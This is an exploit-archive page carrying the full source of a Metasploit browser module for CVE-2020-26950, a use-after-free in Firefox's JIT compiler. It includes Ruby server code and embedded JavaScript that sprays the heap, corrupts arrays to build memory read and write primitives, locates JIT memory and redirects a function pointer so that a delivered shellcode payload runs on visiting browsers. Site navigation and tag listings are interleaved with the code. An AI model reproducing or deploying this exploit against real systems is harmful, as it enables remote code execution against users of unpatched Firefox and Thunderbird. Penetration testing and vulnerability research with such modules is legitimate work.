Firefox MCallGetProperty Write Side Effects Use-After-Free

Authored by timwr, maxpl0it, 360 ESG Vulnerability Research Institute | Site metasploit.com

Posted Mar 1, 2022

This Metasploit modules exploits CVE-2020-26950, a use-after-free exploit in Firefox. The MCallGetProperty opcode can be emitted with unmet assumptions resulting in an exploitable use-after-free condition. This exploit uses a somewhat novel technique of spraying ArgumentsData structures in order to construct primitives. The shellcode is forced into executable memory via the JIT compiler, and executed by writing to the JIT region pointer. This exploit does not contain a sandbox escape, so firefox must be run with the MOZ_DISABLE_CONTENT_SANDBOX environment variable set, in order for the shellcode to run successfully. This vulnerability affects Firefox versions prior to 82.0.3, Firefox ESR versions prior to 78.4.1, and Thunderbird versions prior to 78.4.2, however only Firefox versions up to 79 are supported as a target. Additional work may be needed to support other versions such as Firefox 82.0.1.

tags | exploit, shellcode
advisories | CVE-2020-26950
SHA-256 | c5497acbfe1516edccf2f8747d261489391c42dfa92ad82028efc92b075df944 **Download** | **Favorite** | **View**

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpServer::BrowserExploit

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Firefox MCallGetProperty Write Side Effects Use After Free Exploit',
        'Description' => %q{
          This modules exploits CVE-2020-26950, a use after free exploit in Firefox.
          The MCallGetProperty opcode can be emitted with unmet assumptions resulting
          in an exploitable use-after-free condition.

          This exploit uses a somewhat novel technique of spraying ArgumentsData
          structures in order to construct primitives. The shellcode is forced into
          executable memory via the JIT compiler, and executed by writing to the JIT
          region pointer.

          This exploit does not contain a sandbox escape, so firefox must be run
          with the MOZ_DISABLE_CONTENT_SANDBOX environment variable set, in order
          for the shellcode to run successfully.

          This vulnerability affects Firefox < 82.0.3, Firefox ESR < 78.4.1, and
          Thunderbird < 78.4.2, however only Firefox <= 79 is supported as a target.
          Additional work may be needed to support other versions such as Firefox 82.0.1.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          '360 ESG Vulnerability Research Institute', # discovery
          'maxpl0it', # writeup and exploit
          'timwr', # metasploit module
        ],
        'References' => [
          ['CVE', '2020-26950'],
          ['URL', 'https://www.mozilla.org/en-US/security/advisories/mfsa2020-49/#CVE-2020-26950'],
          ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=1675905'],
          ['URL', 'https://www.sentinelone.com/labs/firefox-jit-use-after-frees-exploiting-cve-2020-26950/'],
        ],
        'Arch' => [ ARCH_X64 ],
        'Platform' => ['linux', 'windows'],
        'DefaultTarget' => 0,
        'Targets' => [
          [ 'Automatic', {}],
        ],
        'Notes' => {
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [ IOC_IN_LOGS ],
          'Stability' => [CRASH_SAFE]
        },
        'DisclosureDate' => '2020-11-18'
      )
    )
  end

  def create_js_shellcode
    shellcode = "AAAA\x00\x00\x00\x00" + "\x90\x90\x90\x90\x90\x90\x90\x90" + payload.encoded
    if (shellcode.length % 8 > 0)
      shellcode += "\x00" * (8 - shellcode.length % 8)
    end
    shellcode_js = ''
    for chunk in 0..(shellcode.length / 8) - 1
      label = (0x41 + chunk / 26).chr + (0x41 + chunk % 26).chr
      shellcode_chunk = shellcode[chunk * 8..(chunk + 1) * 8]
      shellcode_js += label + ' = ' + shellcode_chunk.unpack('E').first.to_s + "\n"
    end
    shellcode_js
  end

  def on_request_uri(cli, request)
    print_status("Sending #{request.uri} to #{request['User-Agent']}")
    shellcode_js = create_js_shellcode
    jscript = <<~JS
      // Triggers the vulnerability
      function jitme(cons, interesting, i) {
         interesting.x1 = 10; // Make sure the MSlots is saved

         new cons(); // Trigger the vulnerability - Reallocates the object slots

         // Allocate a large array on top of this previous slots location.
         let target = [0,1,2,3,4,5,6,7,8,9,10,11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26,
27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54,
55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82,
83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107,
108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129,
130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151,
152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173,
174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195,
196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217,
218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239,
240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261,
262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283,
284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305,
306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327,
328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349,
350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371,
372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393,
394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415,
416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437,
438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459,
460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480, 481,
482, 483, 484, 485, 486, 487, 488, 489]; // Goes on to 489 to be close to the number of properties ‘cons’ has

         // Avoid Elements Copy-On-Write by pushing a value
         target.push(i);
```

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 150 files
Ubuntu 68 files
LiquidWorm 23 files
Debian 16 files
malvuln 11 files
nu11secur1ty 11 files
Gentoo 9 files
Google Security Research 6 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

```
            // Write the Initialized Length, Capacity, and Length to be larger than it is
            // This will work when interesting == cons
            interesting.x1 = 3.476677904727e-310;
            interesting.x0 = 3.4766779039175e-310;

            // Return the corrupted array
            return target;
        }

        // Initialises vulnerable objects
        function init() {
            // arr will contain our sprayed objects
            var arr = [];

            // We'll create one object...
            var cons = function() {};
            for(j=0; j<512; j++) cons['x'+j] = j; // Add 512 properties (Large jemalloc allocation)
            arr.push(cons);

            // ...then duplicate it a whole bunch of times
            // The number of times has two uses:
            //    - Heap spray - Stops any already freed objects getting in our way
            //    - Allows us to get the jitme function compiled
            for (var i = 0; i < 20000; i++) arr.push(Object.assign(function(){}, cons));

            // Return the array
            return arr;
        }

        // Global that holds the total number of objects in our original spray array
        TOTAL = 0;

        // Global that holds the target argument so it can be used later
        arg = 0;

        evil = 0;

        //   setup_prim - Performs recursion to get the vulnerable arguments object
        //       arguments[0] - Original spray array
        //       arguments[1] - Recursive depth counter
        //       arguments[2]+ - Numbers to pad to the right reallocation size
        function setup_prim() {
            // Base case of our recursion
            // If we have reached the end of the original spray array...
            if(arguments[1] == TOTAL) {

                // Delete an argument to generate the RareArgumentsData pointer
                delete arguments[3];

                // Read out of bounds to the next object (sprayed objects)
                // Check whether the RareArgumentsData pointer is null
                if(evil[511] != 0) return arguments;

                // If it was null, then we return and try the next one
                return 0;
            }

            // Get the cons value
            let cons = arguments[0][arguments[1]];

            // Move the pointer (could just do cons.p481 = 481, but this is more fun)
            new cons();

            // Recursive call
            res = setup_prim(arguments[0], arguments[1]+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, 21,
22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49,
50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77,
78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103,
104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125,
126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147,
148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169,
170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191,
192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213,
214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235,
236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257,
258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279,
280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301,
302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323,
324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345,
346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367,
368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389,
390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411,
412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433,
434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455,
456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477,
478, 479, 480 );

            // If the returned value is non-zero, then we found our target ArgumentsData object, so keep returning
it
            if(res != 0) return res;

            // Otherwise, repeat the base case (delete an argument)
            delete arguments[3];

            // Check if the next object has a null RareArgumentsData pointer
            if(evil[511] != 0) return arguments; // Return arguments if not

            // Otherwise just return 0 and try the next one
            return 0;
        }

        // weak_read32 - Bit-by-bit read
        function weak_read32(arg, addr) {
            // Set the RareArgumentsData pointer to the address
            evil[511] = addr;

            // Used to hold the leaked data
            let val = 0;

            // Read it bit-by-bit for 32 bits
            // Endianness is taken into account
            for(let i = 32; i >= 0; i--) {
                val = val << 1; // Shift
                if(arg[i] == undefined) {
                    val = val | 1;
                }
            }

            // Return the integer
            return val;
        }

        // weak_read64 - Bit-by-bit read using BigUint64Array
        function weak_read64(arg, addr) {
            // Set the RareArgumentsData pointer to the address
            evil[511] = addr;

            // Used to hold the leaked data
            val = new BigUint64Array(1);
            val[0] = 0n;

            // Read it bit-by-bit for 64 bits
            for(let i = 64; i >= 0; i--) {
                val[0] = val[0] << 1n;
                if(arg[i] == undefined) {
                    val[0] = val[0] | 1n;
                }
            }

            // Return the BigInt
            return val[0];
        }

        // write_nan - Uses the bit-setting capability of the bitmap to create the NaN-Box
        function write_nan(arg, addr) {
            evil[511] = addr;
            for(let i = 64 - 15; i < 64; i++) delete arg[i]; // Delete bits 49-64 to create 0xfffe pointer box
        }

        // write - Write a value to an address
        function write(address, value) {
            // Set the fake ArrayBuffer backing store address
            address = dbl_to_bigint(address)
            target_uint32arr[14] = parseInt(address) & 0xffffffff
            target_uint32arr[15] = parseInt(address >> 32n);

            // Use the fake ArrayBuffer backing store to write a value to a location
            value = dbl_to_bigint(value);
            fake_arrbuf[1] = parseInt(value >> 32n);
            fake_arrbuf[0] = parseInt(value & 0xffffffffn);
        }
```

```
      // addrof - Gets the address of a given object
      function addrof(arg, o) {
         // Set the 5th property of the arguments object
         arg[5] = o;

         // Get the address of the 5th property
         target = ad_location + (7n * 8n) // [len][deleted][0][1][2][3][4][5] (index 7)

         // Set the fake ArrayBuffer backing store to point to this location
         target_uint32arr[14] = parseInt(target) & 0xffffffff;
         target_uint32arr[15] = parseInt(target >> 32n);

         // Read the address of the object o
         return (BigInt(fake_arrbuf[1] & 0xffff) << 32n) + BigInt(fake_arrbuf[0]);
      }

      // shellcode - Constant values which hold our shellcode to pop xcalc.
      function shellcode(){
      #{shellcode_js}
      }

      // helper functions
      var conv_buf = new ArrayBuffer(8);
      var f64_buf = new Float64Array(conv_buf);
      var u64_buf = new Uint32Array(conv_buf);

      function dbl_to_bigint(val) {
          f64_buf[0] = val;
          return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
      }

      function bigint_to_dbl(val) {
          u64_buf[0] = Number(val & 0xffffffffn);
          u64_buf[1] = Number(val >> 32n);
          return f64_buf[0];
      }

      function main() {
         let i = 0;
         // ensure the shellcode is in jit rwx memory
         for(i = 0;i < 0x5000; i++) shellcode();

         // The jitme function returns arrays. We'll save them, just in case.
         let arr_saved = [];

         // Get the sprayed objects
         let arr = init();

         // This is our target object. Choosing one of the end ones so that there is enough time for jitme to
be compiled
         let interesting = arr[arr.length - 10];

         // Iterate over the vulnerable object array
         for (i = 0; i < arr.length; i++) {
             // Run the jitme function across the array
             corr_arr = jitme(arr[i], interesting, i);

             // Save the generated array. Never trust the garbage collector.
             arr_saved[i] = corr_arr;

             // Find the corrupted array
             if(corr_arr.length != 491) {
                 // Save it for future evil
                 evil = corr_arr
                 break;
             }
         }

         if(evil == 0) {
             print("Failure: Failed to get the corrupted array");
             return;
         }
         print("got the corrupted array " + evil.length);

         TOTAL=arr.length;
         arg = setup_prim(arr, i+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, 22, 23, 24, 25, 26, 27,
28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55,
56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83,
84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108,
109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130,
131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152,
153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174,
175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196,
197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218,
219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240,
241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262,
263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284,
285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306,
307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328,
329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350,
351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372,
373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394,
395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416,
417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438,
439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460,
461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480);

         old_rareargdat_ptr = evil[511];
         print("Leaked nursery location: " + dbl_to_bigint(old_rareargdat_ptr).toString(16));

         iterator = dbl_to_bigint(old_rareargdat_ptr); // Start from this value
         counter = 0; // Used to prevent a while(true) situation
         while(counter < 0x200) {
             // Read the current address
            output = weak_read32(arg, bigint_to_dbl(iterator));

            // Check if it's the expected size value for our ArgumentsObject object
            if(output == 0x1e10 || output == 0x1e20) {
                // If it is, then read the ArgumentsData pointer
                ad_location = weak_read64(arg, bigint_to_dbl(iterator + 8n));

                // Get the pointer in ArgumentsData to RareArgumentsData
                ptr_in_argdat = weak_read64(arg, bigint_to_dbl(ad_location + 8n));

                // ad_location + 8 points to the RareArgumentsData pointer, so this should match
                // We do this because after spraying arguments, there may be a few ArgumentObjects to go past
                if((ad_location + 8n) == ptr_in_argdat) break;
            }
            // Iterate backwards
            iterator = iterator - 8n;

             // Increment counter
            counter += 1;
         }

         if(counter == 0x200) {
             print("Failure: Failed to get AD location");
             return;
         }

         print("AD location: " + ad_location.toString(16));

         // The target Uint32Array - A large size value to:
         //   - Help find the object (Not many 0x00101337 values nearby!)
         //   - Give enough space for 0xfffff so we can fake a Nursery Cell ((ptr & 0xfffffffffff00000) |
0xfffe8 must be set to 1 to avoid crashes)
         target_uint32arr = new Uint32Array(0x101337);

         // Find the Uint32Array starting from the original leaked Nursery pointer
         iterator = dbl_to_bigint(old_rareargdat_ptr);
         counter = 0; // Use a counter
         while(counter < 0x5000) {

             // Read a memory address
             output = weak_read32(arg, bigint_to_dbl(iterator));

             // If we have found the right size value, we have found the Uint32Array!
             if(output == 0x101337) break;

             // Check the next memory location
             iterator = iterator + 8n;

             // Increment the counter
             counter += 1;
         }

         if(counter == 0x5000) {
             print("Failure: Failed to find the Uint32Array");
             return;
         }

         // Subtract from the size value address to get to the start of the Uint32Array
         arr_buf_addr = iterator - 40n;
```

```
        // Get the Array Buffer backing store
        arr_buf_loc = weak_read64(arg, bigint_to_dbl(iterator  + 16n));
        print("AB Location: " + arr_buf_loc.toString(16));

        // Create a fake ArrayBuffer through cloning
        iterator = arr_buf_addr;
        for(i=0;i<64;i++) {
            output = weak_read32(arg, bigint_to_dbl(iterator));
            target_uint32arr[i] = output;
            iterator = iterator + 4n;
        }

        // Cell Header - Set it to Nursery to pass isNursery()
        target_uint32arr[0x3fffa] = 1;

        // Write an unboxed pointer to arguments[0]
        evil[512] = bigint_to_dbl(arr_buf_loc);

        // Make it NaN-Boxed
        write_nan(arg, bigint_to_dbl(ad_location + 16n)); // Points to evil[512]/arguments[0]

        // From here we have a fake UintArray in arg[0]
        // Pointer can be changed using target_uint32arr[14] and target_uint32arr[15]
        fake_arrbuf = arg[0];

        // Get the address of the shellcode function object
        shellcode_addr = addrof(arg, shellcode);
        print("Function is at: " + shellcode_addr.toString(16));

        // Get the jitInfo pointer in the JSFunction object
        jitinfo = weak_read64(arg, bigint_to_dbl(shellcode_addr + 0x30n)); //
JSFunction.u.native.extra.jitInfo_
        print("  jitinfo: " + jitinfo.toString(16));

        // We can then fetch the RX region from  here
        rx_region = weak_read64(arg, bigint_to_dbl(jitinfo));
        print("  RX Region: " + rx_region.toString(16));

        iterator = rx_region; // Start from the RX region
        found = false
        // Iterate to find the 0x41414141 value in-memory. 8 bytes after this is the start of the shellcode.
        for(i = 0; i < 0x800; i++) {
            data = weak_read64(arg, bigint_to_dbl(iterator));
            if(data == 0x41414141n) {
                iterator = iterator + 8n;
                found = true;
                break;
            }
            iterator = iterator + 8n;
        }
        if(!found) {
            print("Failure: Failed to find the JIT start");
            return;
        }

        // We now have a pointer to the start of the shellcode
        shellcode_location = iterator;
        print("Shellcode start: " + shellcode_location.toString(16));

        // And can now overwrite the previous jitInfo pointer with our shellcode pointer
        write(bigint_to_dbl(jitinfo), bigint_to_dbl(shellcode_location));

        print("Triggering...");
        shellcode(); // Triggering our shellcode is as simple as calling the function again.
      }
      main();
    JS

    jscript = add_debug_print_js(jscript)
    html = %(
<html>
<script>
#{jscript}
</script>
</html>
)
    send_response(cli, html, {
      'Content-Type' => 'text/html',
      'Cache-Control' => 'no-cache, no-store, must-revalidate',
      'Pragma' => 'no-cache', 'Expires' => '0'
    })
  end

end
```